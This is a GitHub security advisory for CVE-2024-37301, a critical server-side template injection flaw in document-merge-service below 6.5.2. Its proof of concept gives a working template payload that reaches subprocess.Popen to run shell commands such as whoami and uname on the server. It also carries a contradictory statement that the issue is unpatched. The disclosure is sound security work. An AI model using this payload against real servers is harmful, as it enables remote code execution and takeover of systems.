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document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

Critical severity GitHub Reviewed Published Jun 11, 2024 in adfinis/document-merge-service • Updated Jun 12, 2024

Package

pip document-merge-service (pip)

Affected versions

< 6.5.2

Patched versions

6.5.2

Description

Impact

What kind of vulnerability is it? Who is impacted?

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

Has the problem been patched? What versions should users upgrade to?

It has not been patched.

References

Are there any links users can visit to find out more?

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

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References

Published by the National Vulnerability Database Jun 11, 2024
Published to the GitHub Advisory Database Jun 11, 2024
Reviewed Jun 11, 2024
Last updated Jun 12, 2024

Severity

Critical
10.0
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2024-37301

GHSA ID

GHSA-v5gf-r78h-55q6

Credits

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